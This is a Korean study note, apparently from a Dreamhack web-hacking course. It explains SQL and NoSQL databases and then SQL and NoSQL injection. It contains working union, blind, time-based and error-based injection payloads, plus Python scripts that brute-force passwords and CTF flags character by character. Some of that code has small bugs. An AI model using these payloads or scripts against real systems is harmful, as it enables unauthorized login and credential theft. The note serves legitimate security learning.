

01/31) 06. SQL Injection (1)

DBMS(Database Management System)

- 데이터베이스를 기록, 수정, 삭제하는 역할
- 많은 사람들이 데이터에 동시에 조회할 수 있고 검색 등의 기능이 가능
- 관계형: 테이블 형식(MySQL, SQLite 등)
- 비관계형: 키, 값 형식(MongoDB, Redis)

RDBMS(Relational DBMS)

관계형 DBMS

Codss가 12가지 규칙을 기반으로 생성한 DB 모델로, 테이블 형식으로 관리

SQL(Structured Query Language)라는 쿼리 언어 사용

SQL

- DDL: 데이터를 정의하기 위한 언어. DB의 생성, 수정, 삭제 등을 수행
- DML: 데이터를 조작하기 위한 언어
- DCL: 데이터 접근 권한을 설정하기 위한 언어

DDL

```
# 데이터베이스 생성
CREATE DATABASE School;
```

```
# 테이블 생성
```

```
CREATE TABLE Student(  
    cid INT NOT NULL,  
    name VARCHAR(10),  
    age INT,  
    PRIMARY KEY(cid)  
);
```

DML

```
# 데이터 삽입  
INSERT INTO  
    Student(cid, name, age)  
Values('C035268', 'YGY', 23);  
  
# 데이터 조회  
SELECT cid, name  
FROM Student  
Where name = 'YGY';  
  
# 데이터 변경  
UPDATE Student SET age = '24'  
Where cid = 'C035268';
```

실습

입력 : ' union select upw from user_table where uid='admin' or

```
Select uid from user_table where uid=''  
union
```

```
select upw as from user_table where uid='admin' or ' and upw='''
```

Uid
guest
strawberry

Blind SQL Injection

공격자가 질의 결과를 직접 확인하지 못하는 경우,
DBMS가 답변 가능한 형태로 질문해서 참/거짓 반환으로 정보를 얻어내는 것

예시

```
# 첫 번째 글자 구하기 (아스키 114 = 'r', 115 = 's')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr
(upw,1,1))=114-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr
(upw,1,1))=115-- ' and upw=''; # True
# 두 번째 글자 구하기 (아스키 115 = 's', 116 = 't')
SELECT * FROM user_table WHERE uid='admin' and ascii(substr
(upw,2,1))=115-- ' and upw=''; # False
SELECT * FROM user_table WHERE uid='admin' and ascii(substr
(upw,2,1))=116-- ' and upw=''; # True
```

파이썬 requests 모듈을 이용한 공격

requests 모듈은 다양한 메소드를 이용해 HTTP 요청을 보낼 수 있음.

예시) requests 모듈을 이용한 GET 요청

```
import requests

url = 'https://dreamhack.io/'

headers = {
    'Content-Type': 'application.x-www-form-urlencoded'
    'User-Agent': 'DREAMHACK_REQUEST' }

params = { 'test': 1, }

for i in range(1, 5):
    c = requests.get(url + str(i), headers=headers, parmas=
params)
    print(c.request.url)
    print(c.text)
```

pw 알아내는 스크립트 예시

```
#!/usr/bin/python3
import requests
import string
# example URL
url = 'http://example.com/login'
params = {
    'uid': '',
```

```

    'upw': ''
}
# abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ01234
56789!"#$%&\'()*+,-./:;<=>?@[\\]^_`{|}~
tc = string.ascii_letters + string.digits + string.punctuat
ion
# 사용할 SQL Injection 쿼리
query = '''
admin' and ascii(substr(upw,{idx},1))={val}--
'''

password = ''
# 비밀번호 길이는 20자 이하라 가정
for idx in range(0, 20):
    for ch in tc:
        # query를 이용하여 Blind SQL Injection 시도
        params['uid'] = query.format(idx=idx, val=ord(ch)).
strip("\n")
        c = requests.get(url, params=params)
        print(c.request.url)

        # 응답에 Login success 문자열이 있으면 해당 문자를 passw
ord 변수에 저장
        if c.text.find("Login success") != -1:
            password += chr(ch)
            break
print(f"Password is {password}")

```

SQL 익스플로잇 예시

```

# 주석처리
SELECT * FROM users WHERE userid="admin" --" AND userpasswo
rd="DUMMY"

# or "1" 추가하여 뒷 내용 상관없이 admin 반환
SELECT * FROM users WHERE userid = "admin" or "1" AND userp
assword = "DUMMY"

```

```
# or "admin" 추가하여 무조건 userid=admin 내용 반환
SELECT * FROM users WHERE userid ="admin" AND userpassword
="DUMMY" OR userid="admin"
```

```
# 모든 내용 반환, LIMIT로 두 번째 열만 반환(1부터 1개)
SELECT * FROM users WHERE userid ="" OR 1 LIMIT 1, 1-- "AND
userpassword=""
```

비관계형 데이터베이스(NoSQL)

- 키-값을 이용해 데이터를 저장
- SQL 없이 복잡하지 않은 데이터를 저장해 단순 검색에 최적화
- DB별 언어를 따로 익혀야 함

MongDB

- JSON 형태의 Document 저장
- 스키마를 따로 정의 x 각 컬렉션을 정의할 필요 없음
- JSON 형식으로 쿼리 작성 가능
- _id가 기본키 역할



컬렉션: DB 하위 개념으로, RDBMS의 테이블 같은 것

쿼리 예제

- status가 A이고 qty가 30 미만인 것 조회

```
db.inventory.find(
  { $and: [
    { status: "A" },
    { qty: { $lt: 30 } } // $ 문자로 연산자 사용
  ] }
)
```

연산자

<비교 연산자>

\$eq	같은 값 찾기 (equal)
\$in	배열 안의 값들과 일치하는 값 찾기
\$ne	같지 않은 값 찾기 (not equal)
\$nin	배열 안의 값들과 일치하지 않는 값 찾기 (not in)

<논리 연산자>

\$and	AND, 모두 만족함
\$not	NOT, 반전
\$nor	NOR, 모두 만족하지 않음
\$or	OR

<Element>

\$exists	지정된 필드가 있는 문서 찾기
\$type	지정된 필드가 지정된 유형인 문서 선택

<Evaluation>

\$expr	집계 식 사용
\$regex	지정된 정규식과 일치하는 문서 선택
\$text	지정된 텍스트 검색

기본 문법

검색

```
db.account.find()    // SELECT * FROM account;
```

```
// SELECT * FROM account WHERE user_id = "admin";
db.account.find(
    { user_id: "admin" },
)
```

```
// SELECT user_idx FROM account WHERE user_id="admin";
db.account.find(
    { user_id: "admin"},
    { user_idx:1, _id:0 } //_id를 출력하지 않음, user_idx 라는 key 출력
)
```

삽입

```
//user_id="guest", user_pw="guest"인 정보 삽입
db.account.insertOne(
    { user_id: "guest", user_pw: "guest" }
)
```

삭제

```
// DELETE FROM account;
db.account.remove()
```

```
// DELETE FROM account WHERE user_id="guest";
db.account.remove(
  {user_id: "guest"}
)
```

수정

```
// UPDATE account SET user_id="guest2" WHERE user_idx=2;
db.account.updateOne(
  {usr_idx:2},
  { $set: {user_id: "guest2" }}
)
```

Redis

- 키-값으로 데이터 저장
- 메모리 기반으로 데이터를 관리해서 속도가 빠름
- 임시 데이터 캐싱 용도로 주로 사용

명령어 문서

데이터 조회 및 조작

GET	GET key	데이터 조회
MGET	MGET key [key...]	여러 데이터 조회
SET	SET key value	새로운 데이터 추가
MSET	MSET key value [key value ...]	여러 데이터 추가
DEL	DEL key [key ...]	데이터 삭제
EXISTS	EXISTS key [key ...]	데이터 유무 확인
INCR	INCR key	데이터 값에 1 더함
DECR	DECR key	데이터 값에 1 뺀

관리

INFO	INFO [section]	DBMS 정보 조회
CONFIG GET	CONFIG GET parameter	설정 조회
CONFIG SET	CONFIG SET parameter value	새로운 설정을 입력

CouchDB

- JSON 형태인 Document로 저장
- 웹 기반 DBMS로, REST API 형식으로 요청 처리

REST API 공식 문서

<메소드>

POST	새로운 레코드 추가
GET	레코드 조회
PUT	레코드 업데이트
DELETE	레코드 삭제

<SERVER>

/	인스턴스에 대한 메타 정보 반환
/_all_dbs	인스턴스의 db 목록 반환
/_utils	관리자 페이지로 이동

<Database>

/db	지정된 DB에 대한 정보 반환
/db/_all_docs	지정된 db에 포함된 모든 도큐먼트 반환
/db/_find	지정된 db에서 JSON 쿼리에 해당하는 모든 도큐먼트 반환

예시

```
# "ups":"guest" 값 추가
$ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
{"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}

# get?
$ curl http://{username}:{password}@localhost:5984/users/guest
{"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}
```

NoSQL Injection

주로 입력 시 타입 검증을 하지 않아 생기는 취약점

```
//express를 시작하는 선언
const express = require('express');
//express를 실행해서 app 변수에 담음
const app = express();
//get은 브라우저에게 정보를 주는 것. 메인 페이지 방문 시
app.get('/', function(req,res) {
  // data와 type 입력 받음.
  console.log('data:', req.query.data);
  console.log('type:', typeof req.query.data);
  res.send('hello world');
});
const server = app.listen(3000, function(){
  console.log('app.listen');
});
```

- "a"가 아닌 데이터를 조회하는 공격 쿼리

```
http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a
=> [{"_id": "5ebb81732b75911dbcad8a19", "uid": "admin", "upw": "secretpassword"}]
```

- ne 연산자 사용

```
{"uid": "admin", "upw": {"$ne": ""}}
```

Blind NoSQL Injection

주로 사용하는 연산자

\$expr	쿼리 언어 내에서 집계 식 사용
\$regex	지정된 정규식과 일치하는 문서 선택
\$text	지정된 텍스트 검색
\$where	js 표현식 만족하는 문서와 일치

\$expr 예시

```
{ $expr : { $someOperator : [A,B] } }
```

\$regex

```
// a로 시작하는 upw 찾기
db.user.find({upw: {$regex : "^a"}})
```

\$where

```
> db.user.find({$where:"return 1==1"})
{ "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }

// where은 field에 쓸 수 없음.
> db.user.find({uid:{$where:"return 1==1"}})
error: {
  "$err" : "Can't canonicalize query: BadValue $where can not be applied to a field",
  "code" : 17287
}
```

substring 연산자로 첫 글자 알아내기

```
> db.user.find({$where: "this.upw.substring(0,1)=='a'"})
```

sleep 함수로 알아내기

결과가 참이면 특정 milliseconds 동안 지연시킴

→ 멈춘 구간에서 참이므로 결과 확인 가능

```
db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
/*
/?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
/?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
...
/?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
=> 시간 지연 발생.
*/
```

Error based Injection

조건식에 올바르지 않은 문법(asdf 함수)을 입력해 앞의 조건이 참이면 에러가 남

```
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
error: {
  "$err" : "ReferenceError: asdf is not defined near 'this.upw=='${upw}' '",
  "code" : 16722
}
// this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
> db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
// this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
```

Blind NoSQL Injection 실습

- ".{5}" 정규표현식으로 비밀번호 길이 획득
- 큰따옴표로 감싸줘야 함

```
{"uid": "admin", "upw": {"$regex": ".{5}"}}
=> admin
```

- 하나씩 바꿔보며 비밀번호 알아내기

```
{"uid": "admin", "upw": {"$regex": "^a"}}
=> admin
```

Mango 함께 실습

문제 페이지 들어가면 나오는 것

```
/login?uid=guest&upw=guest
```

- /login 페이지 : uid와 upw 입력을 받아 검색

```
app.get('/login', function(req, res) {  
  if(filter(req.query)){ // filter 함수 실행  
    res.send('filter');  
    return;  
  }  
  const {uid, upw} = req.query;  
  db.collection('user').findOne({ // db에서 uid, upw로 검색  
    'uid': uid,  
    'upw': upw,  
  }, function(err, result){  
    if (err){  
      res.send('err');  
    }else if(result){  
      res.send(result['uid']); // uid만 출력하므로 upw  
      를 직접 알아내야 함  
    }else{  
      res.send('undefined');  
    }  
  })  
})
```

- filter: admin, dh, admi 가 들어가면 필터링

```
// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}  
const BAN = ['admin', 'dh', 'admi'];  
  
filter = function(data){  
  const dump = JSON.stringify(data).toLowerCase();
```

```

var flag = false;
BAN.forEach(function(word){
    if(dump.indexOf(word) !== -1) flag = true;
});
return flag;
}

```

취약점 분석

- type 검증을 안 하므로 object로 전달할 수 있음

```

const express = require('express');
const app = express();
app.get('/', function(req, res) {
    console.log('data:', req.query.data);
    console.log('type:', typeof req.query.data);
    res.send('hello world');
});
const server = app.listen(3000, function(){
    console.log('app.listen');
});

```

익스플로잇

payload

- uid의 경우 ad.in, upw은 D.{* 라는 패턴으로 정규식 작성

```
login?uid[$regex]=ad.in&upw[$regex]=D.{*
```

- 해당 코드를 실행시켜주면 Flag를 얻을 수 있음.

```
import requests, string
```

```

HOST = 'http://host3.dreamhack.games:14874'
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}}}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break

    print(f'FLAG: DH{{{flag}}}') # 중괄호 왜 이렇게 많음?

```

- 쿼리가 uri로 전달될 때 형태
- python requests 모듈 사용법

문제: simple_sqli_chatgpt

chatgpt랑 풀라는데 별 쓸모는 없음

분석

```

DATABASE = "database.db"
if os.path.exists(DATABASE) == False:
    db = sqlite3.connect(DATABASE)
    db.execute('create table users(userid char(100), userpassword char(100), userlevel integer);')
    db.execute(f'insert into users(userid, userpassword, userlevel) values ("guest", "guest", 0), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}", 0);')

```

```
db.commit()
db.close()
```

```
def query_db(query, one=True):
    cur = get_db().execute(query)
    rv = cur.fetchall()
    cur.close()
    return (rv[0] if rv else None) if one else rv
```

```
@app.route('/login', methods=['GET', 'POST'])
def login():
    if request.method == 'GET':
        return render_template('login.html')
    else:
        # 입력된 userlevel 가져오기
        userlevel = request.form.get('userlevel')
        res = query_db(f"select * from users where userlevel='{userlevel}'")
        # 0' and userid='admin
        if res:
            userid = res[0]
            userlevel = res[2]
            print(userid, userlevel)
            if userid == 'admin' and userlevel == 0:
                return f'hello {userid} flag is {FLAG}'
            return f'<script>alert("hello {userid}");history.go(-1);</script>'
        return f'<script>alert("wrong");history.go(-1);</script>'
```

익스플로잇

```
0' and userid='admin
```